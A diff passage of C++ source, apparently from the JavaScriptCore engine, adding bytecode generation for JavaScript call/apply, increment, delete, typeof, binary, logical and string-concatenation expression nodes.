+    RefPtr<Label> realCall = generator.newLabel();
+    RefPtr<Label> end = generator.newLabel();
+    RefPtr<RegisterID> base = generator.emitNode(m_base);
+    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
+    RefPtr<RegisterID> function = generator.emitGetById(generator.tempDestination(dst), base.get(), m_ident);
+    RefPtr<RegisterID> finalDestination = generator.finalDestination(dst, function.get());
+    generator.emitJumpIfNotFunctionCall(function.get(), realCall.get());
+    {
+        RefPtr<RegisterID> realFunction = generator.emitMove(generator.tempDestination(dst), base.get());
+        RefPtr<RegisterID> thisRegister = generator.newTemporary();
+        ArgumentListNode* oldList = m_args->m_listNode;
+        if (m_args->m_listNode && m_args->m_listNode->m_expr) {
+            generator.emitNode(thisRegister.get(), m_args->m_listNode->m_expr);
+            m_args->m_listNode = m_args->m_listNode->m_next;
+        } else
+            generator.emitLoad(thisRegister.get(), jsNull());
+
+        generator.emitCall(finalDestination.get(), realFunction.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+        generator.emitJump(end.get());
+        m_args->m_listNode = oldList;
+    }
+    generator.emitLabel(realCall.get());
+    {
+        RefPtr<RegisterID> thisRegister = generator.emitMove(generator.newTemporary(), base.get());
+        generator.emitCall(finalDestination.get(), function.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+    }
+    generator.emitLabel(end.get());
+    return finalDestination.get();
+}
+    
+static bool areTrivialApplyArguments(ArgumentsNode* args)
+{
+    return !args->m_listNode || !args->m_listNode->m_expr || !args->m_listNode->m_next
+        || (!args->m_listNode->m_next->m_next && args->m_listNode->m_next->m_expr->isSimpleArray());
+}
+
+RegisterID* ApplyFunctionCallDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    // A few simple cases can be trivially handled as ordinary function calls.
+    // function.apply(), function.apply(arg) -> identical to function.call
+    // function.apply(thisArg, [arg0, arg1, ...]) -> can be trivially coerced into function.call(thisArg, arg0, arg1, ...) and saves object allocation
+    bool mayBeCall = areTrivialApplyArguments(m_args);
+
+    RefPtr<Label> realCall = generator.newLabel();
+    RefPtr<Label> end = generator.newLabel();
+    RefPtr<RegisterID> base = generator.emitNode(m_base);
+    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
+    RefPtr<RegisterID> function = generator.emitGetById(generator.tempDestination(dst), base.get(), m_ident);
+    RefPtr<RegisterID> finalDestination = generator.finalDestination(dst, function.get());
+    generator.emitJumpIfNotFunctionApply(function.get(), realCall.get());
+    {
+        if (mayBeCall) {
+            RefPtr<RegisterID> realFunction = generator.emitMove(generator.tempDestination(dst), base.get());
+            RefPtr<RegisterID> thisRegister = generator.newTemporary();
+            ArgumentListNode* oldList = m_args->m_listNode;
+            if (m_args->m_listNode && m_args->m_listNode->m_expr) {
+                generator.emitNode(thisRegister.get(), m_args->m_listNode->m_expr);
+                m_args->m_listNode = m_args->m_listNode->m_next;
+                if (m_args->m_listNode) {
+                    ASSERT(m_args->m_listNode->m_expr->isSimpleArray());
+                    ASSERT(!m_args->m_listNode->m_next);
+                    m_args->m_listNode = static_cast<ArrayNode*>(m_args->m_listNode->m_expr)->toArgumentList(generator.globalData());
+                }
+            } else
+                generator.emitLoad(thisRegister.get(), jsNull());
+            generator.emitCall(finalDestination.get(), realFunction.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+            m_args->m_listNode = oldList;
+        } else {
+            ASSERT(m_args->m_listNode && m_args->m_listNode->m_next);
+            RefPtr<RegisterID> realFunction = generator.emitMove(generator.newTemporary(), base.get());
+            RefPtr<RegisterID> argsCountRegister = generator.newTemporary();
+            RefPtr<RegisterID> thisRegister = generator.newTemporary();
+            RefPtr<RegisterID> argsRegister = generator.newTemporary();
+            generator.emitNode(thisRegister.get(), m_args->m_listNode->m_expr);
+            ArgumentListNode* args = m_args->m_listNode->m_next;
+            bool isArgumentsApply = false;
+            if (args->m_expr->isResolveNode()) {
+                ResolveNode* resolveNode = static_cast<ResolveNode*>(args->m_expr);
+                isArgumentsApply = generator.willResolveToArguments(resolveNode->identifier());
+                if (isArgumentsApply)
+                    generator.emitMove(argsRegister.get(), generator.uncheckedRegisterForArguments());
+            }
+            if (!isArgumentsApply)
+                generator.emitNode(argsRegister.get(), args->m_expr);
+            while ((args = args->m_next))
+                generator.emitNode(args->m_expr);
+
+            generator.emitLoadVarargs(argsCountRegister.get(), argsRegister.get());
+            generator.emitCallVarargs(finalDestination.get(), realFunction.get(), thisRegister.get(), argsCountRegister.get(), divot(), startOffset(), endOffset());
+        }
+        generator.emitJump(end.get());
+    }
+    generator.emitLabel(realCall.get());
+    {
+        RefPtr<RegisterID> thisRegister = generator.emitMove(generator.newTemporary(), base.get());
+        generator.emitCall(finalDestination.get(), function.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
+    }
+    generator.emitLabel(end.get());
+    return finalDestination.get();
+}
+
+// ------------------------------ PostfixResolveNode ----------------------------------
+
+static RegisterID* emitPreIncOrDec(BytecodeGenerator& generator, RegisterID* srcDst, Operator oper)
+{
+    return (oper == OpPlusPlus) ? generator.emitPreInc(srcDst) : generator.emitPreDec(srcDst);
+}
+
+static RegisterID* emitPostIncOrDec(BytecodeGenerator& generator, RegisterID* dst, RegisterID* srcDst, Operator oper)
+{
+    if (srcDst == dst)
+        return generator.emitToJSNumber(dst, srcDst);
+    return (oper == OpPlusPlus) ? generator.emitPostInc(dst, srcDst) : generator.emitPostDec(dst, srcDst);
+}
+
+RegisterID* PostfixResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (RegisterID* local = generator.registerFor(m_ident)) {
+        if (generator.isLocalConstant(m_ident)) {
+            if (dst == generator.ignoredResult())
+                return 0;
+            return generator.emitToJSNumber(generator.finalDestination(dst), local);
+        }
+
+        if (dst == generator.ignoredResult())
+            return emitPreIncOrDec(generator, local, m_operator);
+        return emitPostIncOrDec(generator, generator.finalDestination(dst), local, m_operator);
+    }
+
+    int index = 0;
+    size_t depth = 0;
+    JSObject* globalObject = 0;
+    if (generator.findScopedProperty(m_ident, index, depth, true, globalObject) && index != missingSymbolMarker()) {
+        RefPtr<RegisterID> value = generator.emitGetScopedVar(generator.newTemporary(), depth, index, globalObject);
+        RegisterID* oldValue;
+        if (dst == generator.ignoredResult()) {
+            oldValue = 0;
+            emitPreIncOrDec(generator, value.get(), m_operator);
+        } else {
+            oldValue = emitPostIncOrDec(generator, generator.finalDestination(dst), value.get(), m_operator);
+        }
+        generator.emitPutScopedVar(depth, index, value.get(), globalObject);
+        return oldValue;
+    }
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    RefPtr<RegisterID> value = generator.newTemporary();
+    RefPtr<RegisterID> base = generator.emitResolveWithBase(generator.newTemporary(), value.get(), m_ident);
+    RegisterID* oldValue;
+    if (dst == generator.ignoredResult()) {
+        oldValue = 0;
+        emitPreIncOrDec(generator, value.get(), m_operator);
+    } else {
+        oldValue = emitPostIncOrDec(generator, generator.finalDestination(dst), value.get(), m_operator);
+    }
+    generator.emitPutById(base.get(), m_ident, value.get());
+    return oldValue;
+}
+
+// ------------------------------ PostfixBracketNode ----------------------------------
+
+RegisterID* PostfixBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNode(m_base);
+    RefPtr<RegisterID> property = generator.emitNode(m_subscript);
+
+    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
+    RefPtr<RegisterID> value = generator.emitGetByVal(generator.newTemporary(), base.get(), property.get());
+    RegisterID* oldValue;
+    if (dst == generator.ignoredResult()) {
+        oldValue = 0;
+        if (m_operator == OpPlusPlus)
+            generator.emitPreInc(value.get());
+        else
+            generator.emitPreDec(value.get());
+    } else {
+        oldValue = (m_operator == OpPlusPlus) ? generator.emitPostInc(generator.finalDestination(dst), value.get()) : generator.emitPostDec(generator.finalDestination(dst), value.get());
+    }
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitPutByVal(base.get(), property.get(), value.get());
+    return oldValue;
+}
+
+// ------------------------------ PostfixDotNode ----------------------------------
+
+RegisterID* PostfixDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNode(m_base);
+
+    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
+    RefPtr<RegisterID> value = generator.emitGetById(generator.newTemporary(), base.get(), m_ident);
+    RegisterID* oldValue;
+    if (dst == generator.ignoredResult()) {
+        oldValue = 0;
+        if (m_operator == OpPlusPlus)
+            generator.emitPreInc(value.get());
+        else
+            generator.emitPreDec(value.get());
+    } else {
+        oldValue = (m_operator == OpPlusPlus) ? generator.emitPostInc(generator.finalDestination(dst), value.get()) : generator.emitPostDec(generator.finalDestination(dst), value.get());
+    }
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitPutById(base.get(), m_ident, value.get());
+    return oldValue;
+}
+
+// ------------------------------ PostfixErrorNode -----------------------------------
+
+RegisterID* PostfixErrorNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    return emitThrowError(generator, ReferenceError, m_operator == OpPlusPlus
+        ? "Postfix ++ operator applied to value that is not a reference."
+        : "Postfix -- operator applied to value that is not a reference.");
+}
+
+// ------------------------------ DeleteResolveNode -----------------------------------
+
+RegisterID* DeleteResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (generator.registerFor(m_ident))
+        return generator.emitLoad(generator.finalDestination(dst), false);
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    RegisterID* base = generator.emitResolveBase(generator.tempDestination(dst), m_ident);
+    return generator.emitDeleteById(generator.finalDestination(dst, base), base, m_ident);
+}
+
+// ------------------------------ DeleteBracketNode -----------------------------------
+
+RegisterID* DeleteBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> r0 = generator.emitNode(m_base);
+    RegisterID* r1 = generator.emitNode(m_subscript);
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    return generator.emitDeleteByVal(generator.finalDestination(dst), r0.get(), r1);
+}
+
+// ------------------------------ DeleteDotNode -----------------------------------
+
+RegisterID* DeleteDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RegisterID* r0 = generator.emitNode(m_base);
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    return generator.emitDeleteById(generator.finalDestination(dst), r0, m_ident);
+}
+
+// ------------------------------ DeleteValueNode -----------------------------------
+
+RegisterID* DeleteValueNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    generator.emitNode(generator.ignoredResult(), m_expr);
+
+    // delete on a non-location expression ignores the value and returns true
+    return generator.emitLoad(generator.finalDestination(dst), true);
+}
+
+// ------------------------------ VoidNode -------------------------------------
+
+RegisterID* VoidNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (dst == generator.ignoredResult()) {
+        generator.emitNode(generator.ignoredResult(), m_expr);
+        return 0;
+    }
+    RefPtr<RegisterID> r0 = generator.emitNode(m_expr);
+    return generator.emitLoad(dst, jsUndefined());
+}
+
+// ------------------------------ TypeOfValueNode -----------------------------------
+
+RegisterID* TypeOfResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (RegisterID* local = generator.registerFor(m_ident)) {
+        if (dst == generator.ignoredResult())
+            return 0;
+        return generator.emitTypeOf(generator.finalDestination(dst), local);
+    }
+
+    RefPtr<RegisterID> scratch = generator.emitResolveBase(generator.tempDestination(dst), m_ident);
+    generator.emitGetById(scratch.get(), scratch.get(), m_ident);
+    if (dst == generator.ignoredResult())
+        return 0;
+    return generator.emitTypeOf(generator.finalDestination(dst, scratch.get()), scratch.get());
+}
+
+// ------------------------------ TypeOfValueNode -----------------------------------
+
+RegisterID* TypeOfValueNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (dst == generator.ignoredResult()) {
+        generator.emitNode(generator.ignoredResult(), m_expr);
+        return 0;
+    }
+    RefPtr<RegisterID> src = generator.emitNode(m_expr);
+    return generator.emitTypeOf(generator.finalDestination(dst), src.get());
+}
+
+// ------------------------------ PrefixResolveNode ----------------------------------
+
+RegisterID* PrefixResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (RegisterID* local = generator.registerFor(m_ident)) {
+        if (generator.isLocalConstant(m_ident)) {
+            if (dst == generator.ignoredResult())
+                return 0;
+            RefPtr<RegisterID> r0 = generator.emitLoad(generator.finalDestination(dst), (m_operator == OpPlusPlus) ? 1.0 : -1.0);
+            return generator.emitBinaryOp(op_add, r0.get(), local, r0.get(), OperandTypes());
+        }
+
+        emitPreIncOrDec(generator, local, m_operator);
+        return generator.moveToDestinationIfNeeded(dst, local);
+    }
+
+    int index = 0;
+    size_t depth = 0;
+    JSObject* globalObject = 0;
+    if (generator.findScopedProperty(m_ident, index, depth, false, globalObject) && index != missingSymbolMarker()) {
+        RefPtr<RegisterID> propDst = generator.emitGetScopedVar(generator.tempDestination(dst), depth, index, globalObject);
+        emitPreIncOrDec(generator, propDst.get(), m_operator);
+        generator.emitPutScopedVar(depth, index, propDst.get(), globalObject);
+        return generator.moveToDestinationIfNeeded(dst, propDst.get());
+    }
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    RefPtr<RegisterID> propDst = generator.tempDestination(dst);
+    RefPtr<RegisterID> base = generator.emitResolveWithBase(generator.newTemporary(), propDst.get(), m_ident);
+    emitPreIncOrDec(generator, propDst.get(), m_operator);
+    generator.emitPutById(base.get(), m_ident, propDst.get());
+    return generator.moveToDestinationIfNeeded(dst, propDst.get());
+}
+
+// ------------------------------ PrefixBracketNode ----------------------------------
+
+RegisterID* PrefixBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNode(m_base);
+    RefPtr<RegisterID> property = generator.emitNode(m_subscript);
+    RefPtr<RegisterID> propDst = generator.tempDestination(dst);
+
+    generator.emitExpressionInfo(divot() + m_subexpressionDivotOffset, m_subexpressionStartOffset, endOffset() - m_subexpressionDivotOffset);
+    RegisterID* value = generator.emitGetByVal(propDst.get(), base.get(), property.get());
+    if (m_operator == OpPlusPlus)
+        generator.emitPreInc(value);
+    else
+        generator.emitPreDec(value);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitPutByVal(base.get(), property.get(), value);
+    return generator.moveToDestinationIfNeeded(dst, propDst.get());
+}
+
+// ------------------------------ PrefixDotNode ----------------------------------
+
+RegisterID* PrefixDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> base = generator.emitNode(m_base);
+    RefPtr<RegisterID> propDst = generator.tempDestination(dst);
+
+    generator.emitExpressionInfo(divot() + m_subexpressionDivotOffset, m_subexpressionStartOffset, endOffset() - m_subexpressionDivotOffset);
+    RegisterID* value = generator.emitGetById(propDst.get(), base.get(), m_ident);
+    if (m_operator == OpPlusPlus)
+        generator.emitPreInc(value);
+    else
+        generator.emitPreDec(value);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitPutById(base.get(), m_ident, value);
+    return generator.moveToDestinationIfNeeded(dst, propDst.get());
+}
+
+// ------------------------------ PrefixErrorNode -----------------------------------
+
+RegisterID* PrefixErrorNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    return emitThrowError(generator, ReferenceError, m_operator == OpPlusPlus
+        ? "Prefix ++ operator applied to value that is not a reference."
+        : "Prefix -- operator applied to value that is not a reference.");
+}
+
+// ------------------------------ Unary Operation Nodes -----------------------------------
+
+RegisterID* UnaryOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RegisterID* src = generator.emitNode(m_expr);
+    return generator.emitUnaryOp(opcodeID(), generator.finalDestination(dst), src);
+}
+
+
+// ------------------------------ LogicalNotNode -----------------------------------
+
+void LogicalNotNode::emitBytecodeInConditionContext(BytecodeGenerator& generator, Label* trueTarget, Label* falseTarget, bool fallThroughMeansTrue)
+{
+    ASSERT(expr()->hasConditionContextCodegen());
+
+    // reverse the true and false targets
+    generator.emitNodeInConditionContext(expr(), falseTarget, trueTarget, !fallThroughMeansTrue);
+}
+
+
+// ------------------------------ Binary Operation Nodes -----------------------------------
+
+// BinaryOpNode::emitStrcat:
+//
+// This node generates an op_strcat operation.  This opcode can handle concatenation of three or
+// more values, where we can determine a set of separate op_add operations would be operating on
+// string values.
+//
+// This function expects to be operating on a graph of AST nodes looking something like this:
+//
+//     (a)...     (b)
+//          \   /
+//           (+)     (c)
+//              \   /
+//      [d]     ((+))
+//         \    /
+//          [+=]
+//
+// The assignment operation is optional, if it exists the register holding the value on the
+// lefthand side of the assignment should be passing as the optional 'lhs' argument.
+//
+// The method should be called on the node at the root of the tree of regular binary add
+// operations (marked in the diagram with a double set of parentheses).  This node must
+// be performing a string concatenation (determined by statically detecting that at least
+// one child must be a string).  
+//
+// Since the minimum number of values being concatenated together is expected to be 3, if
+// a lhs to a concatenating assignment is not provided then the  root add should have at
+// least one left child that is also an add that can be determined to be operating on strings.
+//
+RegisterID* BinaryOpNode::emitStrcat(BytecodeGenerator& generator, RegisterID* dst, RegisterID* lhs, ReadModifyResolveNode* emitExpressionInfoForMe)
+{
+    ASSERT(isAdd());
+    ASSERT(resultDescriptor().definitelyIsString());
+
+    // Create a list of expressions for all the adds in the tree of nodes we can convert into
+    // a string concatenation.  The rightmost node (c) is added first.  The rightmost node is
+    // added first, and the leftmost child is never added, so the vector produced for the
+    // example above will be [ c, b ].
+    Vector<ExpressionNode*, 16> reverseExpressionList;
+    reverseExpressionList.append(m_expr2);
+
+    // Examine the left child of the add.  So long as this is a string add, add its right-child
+    // to the list, and keep processing along the left fork.
+    ExpressionNode* leftMostAddChild = m_expr1;
+    while (leftMostAddChild->isAdd() && leftMostAddChild->resultDescriptor().definitelyIsString()) {
+        reverseExpressionList.append(static_cast<AddNode*>(leftMostAddChild)->m_expr2);
+        leftMostAddChild = static_cast<AddNode*>(leftMostAddChild)->m_expr1;
+    }
+
+    Vector<RefPtr<RegisterID>, 16> temporaryRegisters;
+
+    // If there is an assignment, allocate a temporary to hold the lhs after conversion.
+    // We could possibly avoid this (the lhs is converted last anyway, we could let the
+    // op_strcat node handle its conversion if required).
+    if (lhs)
+        temporaryRegisters.append(generator.newTemporary());
+
+    // Emit code for the leftmost node ((a) in the example).
+    temporaryRegisters.append(generator.newTemporary());
+    RegisterID* leftMostAddChildTempRegister = temporaryRegisters.last().get();
+    generator.emitNode(leftMostAddChildTempRegister, leftMostAddChild);
+
+    // Note on ordering of conversions:
+    //
+    // We maintain the same ordering of conversions as we would see if the concatenations
+    // was performed as a sequence of adds (otherwise this optimization could change
+    // behaviour should an object have been provided a valueOf or toString method).
+    //
+    // Considering the above example, the sequnce of execution is:
+    //     * evaluate operand (a)
+    //     * evaluate operand (b)
+    //     * convert (a) to primitive   <-  (this would be triggered by the first add)
+    //     * convert (b) to primitive   <-  (ditto)
+    //     * evaluate operand (c)
+    //     * convert (c) to primitive   <-  (this would be triggered by the second add)
+    // And optionally, if there is an assignment:
+    //     * convert (d) to primitive   <-  (this would be triggered by the assigning addition)
+    //
+    // As such we do not plant an op to convert the leftmost child now.  Instead, use
+    // 'leftMostAddChildTempRegister' as a flag to trigger generation of the conversion
+    // once the second node has been generated.  However, if the leftmost child is an
+    // immediate we can trivially determine that no conversion will be required.
+    // If this is the case
+    if (leftMostAddChild->isString())
+        leftMostAddChildTempRegister = 0;
+
+    while (reverseExpressionList.size()) {
+        ExpressionNode* node = reverseExpressionList.last();
+        reverseExpressionList.removeLast();
+
+        // Emit the code for the current node.
+        temporaryRegisters.append(generator.newTemporary());
+        generator.emitNode(temporaryRegisters.last().get(), node);
+
+        // On the first iteration of this loop, when we first reach this point we have just
+        // generated the second node, which means it is time to convert the leftmost operand.
+        if (leftMostAddChildTempRegister) {
+            generator.emitToPrimitive(leftMostAddChildTempRegister, leftMostAddChildTempRegister);
+            leftMostAddChildTempRegister = 0; // Only do this once.
+        }
+        // Plant a conversion for this node, if necessary.
+        if (!node->isString())
+            generator.emitToPrimitive(temporaryRegisters.last().get(), temporaryRegisters.last().get());
+    }
+    ASSERT(temporaryRegisters.size() >= 3);
+
+    // Certain read-modify nodes require expression info to be emitted *after* m_right has been generated.
+    // If this is required the node is passed as 'emitExpressionInfoForMe'; do so now.
+    if (emitExpressionInfoForMe)
+        generator.emitExpressionInfo(emitExpressionInfoForMe->divot(), emitExpressionInfoForMe->startOffset(), emitExpressionInfoForMe->endOffset());
+
+    // If there is an assignment convert the lhs now.  This will also copy lhs to
+    // the temporary register we allocated for it.
+    if (lhs)
+        generator.emitToPrimitive(temporaryRegisters[0].get(), lhs);
+
+    return generator.emitStrcat(generator.finalDestination(dst, temporaryRegisters[0].get()), temporaryRegisters[0].get(), temporaryRegisters.size());
+}
+
+RegisterID* BinaryOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    OpcodeID opcodeID = this->opcodeID();
+
+    if (opcodeID == op_add && m_expr1->isAdd() && m_expr1->resultDescriptor().definitelyIsString())
+        return emitStrcat(generator, dst);
+
+    if (opcodeID == op_neq) {
+        if (m_expr1->isNull() || m_expr2->isNull()) {
+            RefPtr<RegisterID> src = generator.tempDestination(dst);
+            generator.emitNode(src.get(), m_expr1->isNull() ? m_expr2 : m_expr1);
+            return generator.emitUnaryOp(op_neq_null, generator.finalDestination(dst, src.get()), src.get());
+        }
+    }
+
+    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
+    RegisterID* src2 = generator.emitNode(m_expr2);
+    return generator.emitBinaryOp(opcodeID, generator.finalDestination(dst, src1.get()), src1.get(), src2, OperandTypes(m_expr1->resultDescriptor(), m_expr2->resultDescriptor()));
+}
+
+RegisterID* EqualNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (m_expr1->isNull() || m_expr2->isNull()) {
+        RefPtr<RegisterID> src = generator.tempDestination(dst);
+        generator.emitNode(src.get(), m_expr1->isNull() ? m_expr2 : m_expr1);
+        return generator.emitUnaryOp(op_eq_null, generator.finalDestination(dst, src.get()), src.get());
+    }
+
+    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
+    RegisterID* src2 = generator.emitNode(m_expr2);
+    return generator.emitEqualityOp(op_eq, generator.finalDestination(dst, src1.get()), src1.get(), src2);
+}
+
+RegisterID* StrictEqualNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
+    RegisterID* src2 = generator.emitNode(m_expr2);
+    return generator.emitEqualityOp(op_stricteq, generator.finalDestination(dst, src1.get()), src1.get(), src2);
+}
+
+RegisterID* ReverseBinaryOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
+    RegisterID* src2 = generator.emitNode(m_expr2);
+    return generator.emitBinaryOp(opcodeID(), generator.finalDestination(dst, src1.get()), src2, src1.get(), OperandTypes(m_expr2->resultDescriptor(), m_expr1->resultDescriptor()));
+}
+
+RegisterID* ThrowableBinaryOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
+    RegisterID* src2 = generator.emitNode(m_expr2);
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    return generator.emitBinaryOp(opcodeID(), generator.finalDestination(dst, src1.get()), src1.get(), src2, OperandTypes(m_expr1->resultDescriptor(), m_expr2->resultDescriptor()));
+}
+
+RegisterID* InstanceOfNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
+    RefPtr<RegisterID> src2 = generator.emitNode(m_expr2);
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    generator.emitGetByIdExceptionInfo(op_instanceof);
+    RegisterID* src2Prototype = generator.emitGetById(generator.newTemporary(), src2.get(), generator.globalData()->propertyNames->prototype);
+
+    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
+    return generator.emitInstanceOf(generator.finalDestination(dst, src1.get()), src1.get(), src2.get(), src2Prototype);
+}
+
+// ------------------------------ LogicalOpNode ----------------------------
+
+RegisterID* LogicalOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> temp = generator.tempDestination(dst);
+    RefPtr<Label> target = generator.newLabel();
+    
+    generator.emitNode(temp.get(), m_expr1);
+    if (m_operator == OpLogicalAnd)
+        generator.emitJumpIfFalse(temp.get(), target.get());
+    else
+        generator.emitJumpIfTrue(temp.get(), target.get());
+    generator.emitNode(temp.get(), m_expr2);
+    generator.emitLabel(target.get());
+
+    return generator.moveToDestinationIfNeeded(dst, temp.get());
+}
+
+void LogicalOpNode::emitBytecodeInConditionContext(BytecodeGenerator& generator, Label* trueTarget, Label* falseTarget, bool fallThroughMeansTrue)
+{
+    if (m_expr1->hasConditionContextCodegen()) {
+        RefPtr<Label> afterExpr1 = generator.newLabel();
+        if (m_operator == OpLogicalAnd)
+            generator.emitNodeInConditionContext(m_expr1, afterExpr1.get(), falseTarget, true);
+        else 
+            generator.emitNodeInConditionContext(m_expr1, trueTarget, afterExpr1.get(), false);
+        generator.emitLabel(afterExpr1.get());
+    } else {
+        RegisterID* temp = generator.emitNode(m_expr1);
+        if (m_operator == OpLogicalAnd)
+            generator.emitJumpIfFalse(temp, falseTarget);
+        else
+            generator.emitJumpIfTrue(temp, trueTarget);
+    }
+
+    if (m_expr2->hasConditionContextCodegen())
+        generator.emitNodeInConditionContext(m_expr2, trueTarget, falseTarget, fallThroughMeansTrue);
+    else {
+        RegisterID* temp = generator.emitNode(m_expr2);
+        if (fallThroughMeansTrue)
+            generator.emitJumpIfFalse(temp, falseTarget);
+        else
+            generator.emitJumpIfTrue(temp, trueTarget);
+    }
+}
+
+// ------------------------------ ConditionalNode ------------------------------
+
+RegisterID* ConditionalNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    RefPtr<RegisterID> newDst = generator.finalDestination(dst);
+    RefPtr<Label> beforeElse = generator.newLabel();
+    RefPtr<Label> afterElse = generator.newLabel();
+
+    if (m_logical->hasConditionContextCodegen()) {
+        RefPtr<Label> beforeThen = generator.newLabel();
+        generator.emitNodeInConditionContext(m_logical, beforeThen.get(), beforeElse.get(), true);
+        generator.emitLabel(beforeThen.get());
+    } else {
+        RegisterID* cond = generator.emitNode(m_logical);
+        generator.emitJumpIfFalse(cond, beforeElse.get());
+    }
+
+    generator.emitNode(newDst.get(), m_expr1);
+    generator.emitJump(afterElse.get());
+
+    generator.emitLabel(beforeElse.get());
+    generator.emitNode(newDst.get(), m_expr2);
+
+    generator.emitLabel(afterElse.get());
+
+    return newDst.get();
+}
+
+// ------------------------------ ReadModifyResolveNode -----------------------------------
+
+// FIXME: should this be moved to be a method on BytecodeGenerator?
+static ALWAYS_INLINE RegisterID* emitReadModifyAssignment(BytecodeGenerator& generator, RegisterID* dst, RegisterID* src1, ExpressionNode* m_right, Operator oper, OperandTypes types, ReadModifyResolveNode* emitExpressionInfoForMe = 0)
+{
+    OpcodeID opcodeID;
+    switch (oper) {
+        case OpMultEq:
+            opcodeID = op_mul;
+            break;
+        case OpDivEq:
+            opcodeID = op_div;
+            break;
+        case OpPlusEq:
+            if (m_right->isAdd() && m_right->resultDescriptor().definitelyIsString())
+                return static_cast<AddNode*>(m_right)->emitStrcat(generator, dst, src1, emitExpressionInfoForMe);
+            opcodeID = op_add;
+            break;
+        case OpMinusEq:
+            opcodeID = op_sub;
+            break;
+        case OpLShift:
+            opcodeID = op_lshift;
+            break;
+        case OpRShift:
+            opcodeID = op_rshift;
+            break;
+        case OpURShift:
+            opcodeID = op_urshift;
+            break;
+        case OpAndEq:
+            opcodeID = op_bitand;
+            break;
+        case OpXOrEq:
+            opcodeID = op_bitxor;
+            break;
+        case OpOrEq:
+            opcodeID = op_bitor;
+            break;
+        case OpModEq:
+            opcodeID = op_mod;
+            break;
+        default:
+            ASSERT_NOT_REACHED();
+            return dst;
+    }
+
+    RegisterID* src2 = generator.emitNode(m_right);
+
+    // Certain read-modify nodes require expression info to be emitted *after* m_right has been generated.
+    // If this is required the node is passed as 'emitExpressionInfoForMe'; do so now.
+    if (emitExpressionInfoForMe)
+        generator.emitExpressionInfo(emitExpressionInfoForMe->divot(), emitExpressionInfoForMe->startOffset(), emitExpressionInfoForMe->endOffset());
+
+    return generator.emitBinaryOp(opcodeID, dst, src1, src2, types);
+}
+
+RegisterID* ReadModifyResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (RegisterID* local = generator.registerFor(m_ident)) {
+        if (generator.isLocalConstant(m_ident)) {
